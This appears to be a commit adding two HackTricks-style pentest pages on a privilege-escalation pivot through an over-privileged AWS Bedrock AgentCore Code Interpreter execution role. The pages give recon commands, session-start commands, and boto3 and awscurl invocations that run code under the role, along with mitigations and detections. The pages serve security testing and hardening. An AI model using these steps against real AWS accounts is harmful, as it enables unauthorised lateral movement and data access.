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docs(aws): add AgentCore Code Interpreter role pivot privesc
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# AWS Bedrock AgentCore - Code Interpreter Role Pivot
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## Service
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**Amazon Bedrock AgentCore**
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## Technique Name
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**Code Interpreter Role Pivot** (Privilege escalation/lateral movement via over-privileged `executionRoleArn`)
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## Why this Matters
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Amazon Bedrock AgentCore introduced a "Code Interpreter" feature in mid-2025 that acts as a managed compute surface. It executes code within a Firecracker MicroVM-isolated environment. The critical security hook is the **`executionRoleArn`**: this is the IAM identity the interpreter uses to interact with other AWS services.
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When a developer grants this service-linked role excessive permissions (e.g., `s3:*`, `secretsmanager:GetSecretValue`), any user with the ability to invoke the interpreter can effectively "hijack" those permissions to move laterally or escalate privileges within the account.
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## Preconditions (The Misconfiguration)
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1. **Over-privileged Execution Role:** An AgentCore Code Interpreter is configured with a role that has access to sensitive data or administrative APIs.
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2. **Broad Invocation Access:** A low-privileged IAM principal is granted permission to start or interact with these sessions.
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3. **Governance Failure:** The environment is treated as "AI experimental tooling" rather than "Managed Compute," bypassing standard Least Privilege reviews.
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## Required IAM Actions
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To execute this pivot, an attacker needs one or more of the following `bedrock-agentcore` actions:
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* `bedrock-agentcore:StartCodeInterpreterSession`
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* `bedrock-agentcore:InvokeCodeInterpreter`
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* `bedrock-agentcore:CreateCodeInterpreter` (Allows creating a session with a pre-existing role)
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> **Note on `iam:PassRole`:** In current AWS Service Authorization References, `CreateCodeInterpreter` does not explicitly list `iam:PassRole` as a dependency in the same way `CreateGateway` does. This creates a potential "PassRole-less" role selection edge case that should be validated in target environments.
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## Exploitation Flow
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### 1. Reconnaissance
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Identify existing interpreters and their associated execution roles.
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```bash
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aws bedrock-agentcore-control list-code-interpreters
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aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <TARGET_ID>
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```
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### 2. Session Initiation
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Start a session to gain access to the compute environment.
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```bash
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aws bedrock-agentcore start-code-interpreter-session --code-interpreter-id <TARGET_ID>
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```
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### 3. Lateral Movement / Exfiltration
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Invoke the interpreter to execute Python code that uses the `executionRoleArn` credentials to access other services.
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```python
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import boto3
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# The interpreter uses the executionRoleArn automatically
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s3 = boto3.client('s3')
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print(s3.list_buckets())
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```
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## Mitigation & Detection
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### **Prevention**
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* **Apply Permission Boundaries:** Attach a boundary to the `executionRoleArn` to ensure it cannot perform IAM mutations or sensitive data deletions, regardless of its primary policy.
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* **Restrict Invocation:** Limit `StartCodeInterpreterSession` and `InvokeCodeInterpreter` to specific, authorized admin principals.
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* **Identity Scoping:** Use the `bedrock-agentcore:sessionId` and `bedrock-agentcore:actorId` condition keys to ensure sessions are isolated to specific users.
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### **Detection**
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* **CloudTrail Monitoring:** Monitor for `StartCodeInterpreterSession` events from unexpected IPs or principals.
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* **Credential Usage:** Alert on the use of AgentCore execution role credentials (detectable via the `UserAgent` or `PrincipalId` in CloudTrail) to access S3 buckets or Secrets Manager outside of normal AI operations.
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## References
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* [AWS CLI Reference: create-code-interpreter](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
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* [AWS Service Authorization: Bedrock AgentCore](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonbedrockagentcore.html)
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* [AWS CLI: start-code-interpreter-session](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
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# AWS - Bedrock PrivEsc
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{{#include ../../../../banners/hacktricks-training.md}}
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## Amazon Bedrock AgentCore
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### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
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AgentCore Code Interpreter is a managed execution environment. **Custom Code Interpreters** can be configured with an **`executionRoleArn`** that “provides permissions for the code interpreter to access AWS services”.
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If a **lower-privileged IAM principal** can **start + invoke** a Code Interpreter session that is configured with a **more privileged execution role**, the caller can effectively **pivot into the execution role’s permissions** (lateral movement / privilege escalation depending on role scope).
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> [!NOTE]
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> This is typically a **misconfiguration / excessive permissions** issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access).
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> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.
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#### Preconditions (common misconfiguration)
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- A **custom code interpreter** exists with an over-privileged **execution role** (ex: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities).
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- A user (developer/auditor/CI identity) has permissions to:
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- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
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- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
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- (Optional) The user can also create interpreters: `bedrock-agentcore:CreateCodeInterpreter` (lets them create a new interpreter configured with an execution role, depending on org guardrails).
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#### Recon (identify custom interpreters and execution role usage)
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List interpreters (control-plane) and inspect their configuration:
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```bash
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aws bedrock-agentcore-control list-code-interpreters
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aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
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````
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> The create-code-interpreter command supports `--execution-role-arn` which defines what AWS permissions the interpreter will have.
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#### Step 1 - Start a session (this returns a `sessionId`, not an interactive shell)
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```bash
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SESSION_ID=$(
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aws bedrock-agentcore start-code-interpreter-session \
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--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
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--name "arte-oussama" \
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--query sessionId \
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--output text
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)
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echo "SessionId: $SESSION_ID"
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```
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#### Step 2 - Invoke code execution (Boto3 or signed HTTPS)
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There is **no interactive python shell** from `start-code-interpreter-session`. Execution happens via **InvokeCodeInterpreter**.
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**Option A - Boto3 example (execute Python + verify identity):**
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```python
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import boto3
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client = boto3.client("bedrock-agentcore", region_name="<REGION>")
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# Execute python inside the Code Interpreter session
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resp = client.invoke_code_interpreter(
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codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
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sessionId="<SESSION_ID>",
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name="executeCode",
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arguments={
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"language": "python",
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"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
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}
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)
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# Response is streamed; print events for visibility
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for event in resp.get("stream", []):
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print(event)
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```
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If the interpreter is configured with an execution role, the `sts:GetCallerIdentity()` output should reflect that role’s identity (not the low-priv caller), demonstrating the pivot.
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**Option B - Signed HTTPS call (awscurl):**
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```bash
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awscurl -X POST \
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"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
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-H "Content-Type: application/json" \
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-H "Accept: application/json" \
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-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
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--service bedrock-agentcore \
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--region <Region> \
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-d '{
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"name": "executeCode",
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"arguments": {
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"language": "python",
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"code": "print(\"Hello from AgentCore\")"
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}
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}'
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```
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#### Impact
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* **Lateral movement** into whatever AWS access the interpreter execution role has.
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* **Privilege escalation** if the interpreter execution role is more privileged than the caller.
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* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration).
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#### Mitigations / Hardening
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* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles).
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* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions.
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* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
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* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
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## References
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- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
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- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
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- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
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- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
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- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
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- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
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{{#include ../../../../banners/hacktricks-training.md}}
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